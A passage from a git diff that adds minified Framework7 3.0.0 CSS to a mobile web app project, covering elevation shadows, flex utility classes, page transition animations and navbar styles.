rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink:5!important;-ms-flex-negative:5!important;flex-shrink:5!important}.flex-shrink-6{-webkit-flex-shrink:6!important;-ms-flex-negative:6!important;flex-shrink:6!important}.flex-shrink-7{-webkit-flex-shrink:7!important;-ms-flex-negative:7!important;flex-shrink:7!important}.flex-shrink-8{-webkit-flex-shrink:8!important;-ms-flex-negative:8!important;flex-shrink:8!important}.flex-shrink-9{-webkit-flex-shrink:9!important;-ms-flex-negative:9!important;flex-shrink:9!important}.flex-shrink-10{-webkit-flex-shrink:10!important;-ms-flex-negative:10!important;flex-shrink:10!important}.justify-content-flex-start{-webkit-box-pack:start!important;-webkit-justify-content:flex-start!important;-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-center{-webkit-box-pack:center!important;-webkit-justify-content:center!important;-ms-flex-pack:center!important;justify-content:center!important}.justify-content-flex-end{-webkit-box-pack:end!important;-webkit-justify-content:flex-end!important;-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-space-between{-webkit-box-pack:justify!important;-webkit-justify-content:space-between!important;-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-space-around{-webkit-justify-content:space-around!important;-ms-flex-pack:distribute!important;justify-content:space-around!important}.justify-content-space-evenly{-webkit-box-pack:space-evenly!important;-webkit-justify-content:space-evenly!important;-ms-flex-pack:space-evenly!important;justify-content:space-evenly!important}.justify-content-stretch{-webkit-box-pack:stretch!important;-webkit-justify-content:stretch!important;-ms-flex-pack:stretch!important;justify-content:stretch!important}.justify-content-start{-webkit-box-pack:start!important;-webkit-justify-content:start!important;-ms-flex-pack:start!important;justify-content:start!important}.justify-content-end{-webkit-box-pack:end!important;-webkit-justify-content:end!important;-ms-flex-pack:end!important;justify-content:end!important}.justify-content-left{-webkit-box-pack:left!important;-webkit-justify-content:left!important;-ms-flex-pack:left!important;justify-content:left!important}.justify-content-right{-webkit-box-pack:right!important;-webkit-justify-content:right!important;-ms-flex-pack:right!important;justify-content:right!important}.align-content-flex-start{-webkit-align-content:flex-start!important;-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-flex-end{-webkit-align-content:flex-end!important;-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-webkit-align-content:center!important;-ms-flex-line-pack:center!important;align-content:center!important}.align-content-space-between{-webkit-align-content:space-between!important;-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-space-around{-webkit-align-content:space-around!important;-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-webkit-align-content:stretch!important;-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-items-flex-start{-webkit-box-align:start!important;-webkit-align-items:flex-start!important;-ms-flex-align:start!important;align-items:flex-start!important}.align-items-flex-end{-webkit-box-align:end!important;-webkit-align-items:flex-end!important;-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-webkit-box-align:center!important;-webkit-align-items:center!important;-ms-flex-align:center!important;align-items:center!important}.align-items-stretch{-webkit-box-align:stretch!important;-webkit-align-items:stretch!important;-ms-flex-align:stretch!important;align-items:stretch!important}.align-self-flex-start{-webkit-align-self:flex-start!important;-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-flex-end{-webkit-align-self:flex-end!important;-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-webkit-align-self:center!important;-ms-flex-item-align:center!important;align-self:center!important}.align-self-stretch{-webkit-align-self:stretch!important;-ms-flex-item-align:stretch!important;align-self:stretch!important}.text-align-left{text-align:left!important}.text-align-center{text-align:center!important}.text-align-right{text-align:right!important}.text-align-justify{text-align:justify!important}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}.vertical-align-bottom{vertical-align:bottom!important}.vertical-align-middle{vertical-align:middle!important}.vertical-align-top{vertical-align:top!important}.no-padding{padding:0!important}.no-padding-left{padding-left:0!important}.no-padding-right{padding-right:0!important}.no-padding-top{padding-top:0!important}.no-padding-bottom{padding-bottom:0!important}.no-margin{margin:0!important}.no-margin-left{margin-left:0!important}.no-margin-right{margin-right:0!important}.no-margin-top{margin-top:0!important}.no-margin-bottom{margin-bottom:0!important}.width-auto{width:auto!important}.width-100{width:100%!important}.md .padding{padding:16px!important}.md .padding-top{padding-top:16px!important}.md .padding-bottom{padding-bottom:16px!important}.md .padding-left{padding-left:16px!important}.md .padding-right{padding-right:16px!important}.md .padding-vertical{padding-top:16px!important;padding-bottom:16px!important}.md .padding-horizontal{padding-left:16px!important;padding-right:16px!important}.md .margin{margin:16px!important}.md .margin-top{margin-top:16px!important}.md .margin-bottom{margin-bottom:16px!important}.md .margin-left{margin-left:16px!important}.md .margin-right{margin-right:16px!important}.md .margin-vertical{margin-top:16px!important;margin-bottom:16px!important}.md .margin-horizontal{margin-left:16px!important;margin-right:16px!important}.md .text-color-red{color:#f44336!important}.md .bg-color-red{background-color:#f44336!important}.md .border-color-red{border-color:#f44336!important}.md .text-color-green{color:#4caf50!important}.md .bg-color-green{background-color:#4caf50!important}.md .border-color-green{border-color:#4caf50!important}.md .text-color-blue{color:#2196f3!important}.md .bg-color-blue{background-color:#2196f3!important}.md .border-color-blue{border-color:#2196f3!important}.md .text-color-pink{color:#e91e63!important}.md .bg-color-pink{background-color:#e91e63!important}.md .border-color-pink{border-color:#e91e63!important}.md .text-color-yellow{color:#ffeb3b!important}.md .bg-color-yellow{background-color:#ffeb3b!important}.md .border-color-yellow{border-color:#ffeb3b!important}.md .text-color-orange{color:#ff9800!important}.md .bg-color-orange{background-color:#ff9800!important}.md .border-color-orange{border-color:#ff9800!important}.md .text-color-gray{color:#9e9e9e!important}.md .bg-color-gray{background-color:#9e9e9e!important}.md .border-color-gray{border-color:#9e9e9e!important}.md .text-color-white{color:#fff!important}.md .bg-color-white{background-color:#fff!important}.md .border-color-white{border-color:#fff!important}.md .text-color-black{color:#000!important}.md .bg-color-black{background-color:#000!important}.md .border-color-black{border-color:#000!important} \ No newline at end of file diff --git a/framework7/css/framework7.min.css b/framework7/css/framework7.min.css new file mode 100644 index 0000000..916b968 --- /dev/null +++ b/framework7/css/framework7.min.css @@ -0,0 +1,12 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +.framework7-root,body,html{position:relative;height:100%;width:100%;overflow-x:hidden}body{margin:0;padding:0;font-size:14px;width:100%;background:#fff;overflow:hidden;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased}.framework7-root{overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.framework7-initializing *,.framework7-initializing :after,.framework7-initializing :before{-webkit-transition-duration:0s!important;transition-duration:0s!important}@media (width:1024px) and (height:691px) and (orientation:landscape){.framework7-root,body,html{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.framework7-root,body,html{height:672px}}*{-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none}a,input,select,textarea{outline:0}a{cursor:pointer;text-decoration:none}p{margin:1em 0}.disabled{opacity:.55!important;pointer-events:none!important}.ios body{font-family:-apple-system,SF UI Text,Helvetica Neue,Helvetica,Arial,sans-serif;color:#000;line-height:1.4}.ios .if-md,.ios .md-only{display:none!important}.ios a{color:#007aff}@media (width:1024px) and (height:691px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:671px}}@media (width:1024px) and (height:692px) and (orientation:landscape){.ios,.ios .framework7-root,.ios body{height:672px}}.ios .theme-dark{color:#fff}.ios .color-theme-red a{color:#ff3b30}.ios .color-theme-green a{color:#4cd964}.ios .color-theme-blue a{color:#007aff}.ios .color-theme-pink a{color:#ff2d55}.ios .color-theme-yellow a{color:#fc0}.ios .color-theme-orange a{color:#ff9500}.ios .color-theme-gray a{color:#8e8e93}.ios .color-theme-white a{color:#fff}.ios .color-theme-black a{color:#000}.ios a.color-red{color:#ff3b30}.ios a.color-green{color:#4cd964}.ios a.color-blue{color:#007aff}.ios a.color-pink{color:#ff2d55}.ios a.color-yellow{color:#fc0}.ios a.color-orange{color:#ff9500}.ios a.color-gray{color:#8e8e93}.ios a.color-white{color:#fff}.ios a.color-black{color:#000}.md body{font-family:Roboto,Noto,Helvetica,Arial,sans-serif;color:#212121;line-height:1.5}.md .if-ios,.md .ios-only{display:none!important}.md a{color:#2196f3}.md .theme-dark{color:rgba(255,255,255,.87)}.md .color-theme-red a{color:#f44336}.md .color-theme-green a{color:#4caf50}.md .color-theme-blue a{color:#2196f3}.md .color-theme-pink a{color:#e91e63}.md .color-theme-yellow a{color:#ffeb3b}.md .color-theme-orange a{color:#ff9800}.md .color-theme-gray a{color:#9e9e9e}.md .color-theme-white a{color:#fff}.md .color-theme-black a{color:#000}.md a.color-red{color:#f44336}.md a.color-green{color:#4caf50}.md a.color-blue{color:#2196f3}.md a.color-pink{color:#e91e63}.md a.color-yellow{color:#ffeb3b}.md a.color-orange{color:#ff9800}.md a.color-gray{color:#9e9e9e}.md a.color-white{color:#fff}.md a.color-black{color:#000}.statusbar{position:absolute;left:0;top:0;width:100%;z-index:10000;-webkit-box-sizing:border-box;box-sizing:border-box;display:none}html.device-ios .statusbar,html.ios:not(.device-ios):not(.device-android) .statusbar{height:20px}html.device-android .statusbar,html.md:not(.device-ios):not(.device-android) .statusbar{height:24px}html.device-ios.device-iphone-x .statusbar{height:constant(safe-area-inset-top);height:env(safe-area-inset-top)}html.with-statusbar .statusbar{display:block}html.with-statusbar.device-ios .framework7-root,html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root{padding-top:20px}html.with-statusbar.device-android .framework7-root,html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root{padding-top:24px}html.with-statusbar.device-iphone-x .framework7-root{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.ios .statusbar{background:#f7f7f8}.ios .theme-dark .statusbar{background-color:#1b1b1b}.md .statusbar{background:#0a6ebd}.md .color-theme-red .statusbar{background:#d2190b}.md .color-theme-green .statusbar{background:#357a38}.md .color-theme-blue .statusbar{background:#0a6ebd}.md .color-theme-pink .statusbar{background:#aa1145}.md .color-theme-yellow .statusbar{background:#eed500}.md .color-theme-orange .statusbar{background:#b36a00}.md .color-theme-gray .statusbar{background:#787878}.md .color-theme-white .statusbar{background:#d9d9d9}.md .color-theme-black .statusbar{background:#000}.view,.views{position:relative;height:100%;z-index:5000;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box}.pages{position:relative;width:100%;height:100%;overflow:hidden}.page{-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.page.stacked{display:none}.page-previous{pointer-events:none}.page-content{overflow:auto;-webkit-overflow-scrolling:touch;-webkit-box-sizing:border-box;box-sizing:border-box;height:100%;position:relative;z-index:1}.ios .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.ios .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.ios .router-dynamic-navbar-inside .page-opacity-effect,.ios .router-dynamic-navbar-inside .page-shadow-effect{top:44px}.ios .page{background:#efeff4}.ios .page-previous{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}.ios .page-next{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ios .page-previous .page-opacity-effect{opacity:1}.ios .page-previous:after{opacity:1}.ios .page-current .page-shadow-effect{opacity:1}.ios .page-transitioning,.ios .page-transitioning .page-opacity-effect,.ios .page-transitioning .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.ios .router-transition-backward .page-current,.ios .router-transition-backward .page-next,.ios .router-transition-backward .page-previous:not(.stacked),.ios .router-transition-forward .page-current,.ios .router-transition-forward .page-next,.ios .router-transition-forward .page-previous:not(.stacked){pointer-events:none}.ios .router-transition-css-forward .page-next{-webkit-animation:ios-page-next-to-current .4s forwards;animation:ios-page-next-to-current .4s forwards}.ios .router-transition-css-forward .page-next:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-next-to-current-shadow .4s forwards;animation:ios-page-next-to-current-shadow .4s forwards}.ios .router-transition-css-forward .page-current{-webkit-animation:ios-page-current-to-previous .4s forwards;animation:ios-page-current-to-previous .4s forwards}.ios .router-transition-css-forward .page-current:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-current-to-previous-opacity .4s forwards;animation:ios-page-current-to-previous-opacity .4s forwards}.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after,.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before{top:44px}.ios .router-transition-css-backward .page-current,.ios .router-transition-css-backward .page-previous{pointer-events:none}.ios .router-transition-css-backward .page-previous{-webkit-animation:ios-page-previous-to-current .4s forwards;animation:ios-page-previous-to-current .4s forwards}.ios .router-transition-css-backward .page-previous:after{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000;-webkit-animation:ios-page-previous-to-current-opacity .4s forwards;animation:ios-page-previous-to-current-opacity .4s forwards}.ios .router-transition-css-backward .page-current{-webkit-animation:ios-page-current-to-next .4s forwards;animation:ios-page-current-to-next .4s forwards}.ios .router-transition-css-backward .page-current:before{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);-webkit-animation:ios-page-current-to-next-shadow .4s forwards;animation:ios-page-current-to-next-shadow .4s forwards}.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before,.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after{top:44px}.ios .theme-dark .page,.page.ios .theme-dark{background:#171717}@-webkit-keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-next-to-current{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes ios-page-previous-to-current{from{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}}@keyframes ios-page-current-to-previous{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(-20%,0,0);transform:translate3d(-20%,0,0)}}@-webkit-keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes ios-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@-webkit-keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@keyframes ios-page-next-to-current-shadow{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@keyframes ios-page-previous-to-current-opacity{from{opacity:1}to{opacity:0}}@-webkit-keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@keyframes ios-page-current-to-previous-opacity{from{opacity:0}to{opacity:1}}@-webkit-keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}@keyframes ios-page-current-to-next-shadow{from{opacity:1}to{opacity:0}}.md .page-shadow-effect{position:absolute;top:0;width:16px;bottom:0;z-index:-1;content:'';opacity:0;right:100%;background:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,0)),color-stop(10%,rgba(0,0,0,0)),color-stop(50%,rgba(0,0,0,.01)),to(rgba(0,0,0,.2)));background:-webkit-linear-gradient(left,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%);background:linear-gradient(to right,rgba(0,0,0,0) 0,rgba(0,0,0,0) 10%,rgba(0,0,0,.01) 50%,rgba(0,0,0,.2) 100%)}.md .page-opacity-effect{position:absolute;left:0;top:0;background:rgba(0,0,0,.1);width:100%;bottom:0;content:'';opacity:0;z-index:10000}.md .page{background:#fff}.md .page-next{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0;pointer-events:none}.md .page-next.page-next-on-right{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.md .page-transitioning,.md .page-transitioning .page-opacity-effect,.md .page-transitioning .page-shadow-effect{-webkit-transition-duration:250ms;transition-duration:250ms}.md .page-transitioning-swipeback,.md .page-transitioning-swipeback .page-opacity-effect,.md .page-transitioning-swipeback .page-shadow-effect{-webkit-transition-duration:.4s;transition-duration:.4s}.md .router-transition-backward .page,.md .router-transition-forward .page{pointer-events:none}.md .router-transition-css-forward .page-next{-webkit-animation:md-page-next-to-current 250ms forwards;animation:md-page-next-to-current 250ms forwards}.md .router-transition-css-forward .page-current{-webkit-animation:none;animation:none}.md .router-transition-css-backward .page-current{-webkit-animation:md-page-current-to-next 250ms forwards;animation:md-page-current-to-next 250ms forwards}.md .router-transition-css-backward .page-previous{-webkit-animation:none;animation:none}.md .theme-dark .page,.page.md .theme-dark{background:#171717}@-webkit-keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes md-page-next-to-current{from{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@-webkit-keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}@keyframes md-page-current-to-next{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}to{-webkit-transform:translate3d(0,56px,0);transform:translate3d(0,56px,0);opacity:0}}.link,.tab-link{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ios .link{-webkit-transition:opacity .3s;transition:opacity .3s}.ios .link i+i,.ios .link i+span,.ios .link span+i,.ios .link span+span{margin-left:7px}.ios .link.active-state{opacity:.3;-webkit-transition-duration:0s;transition-duration:0s}.md .link i+i,.md .link i+span,.md .link span+i,.md .link span+span{margin-left:8px}.navbar{position:relative;left:0;top:0;width:100%;z-index:500;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.navbar b{font-weight:500}.navbar a.link{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.navbar .left,.navbar .right,.navbar .title{position:relative;z-index:1}.navbar .title{text-align:center;position:relative;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;font-weight:500;display:inline-block}.navbar .subtitle{display:block}.navbar .left,.navbar 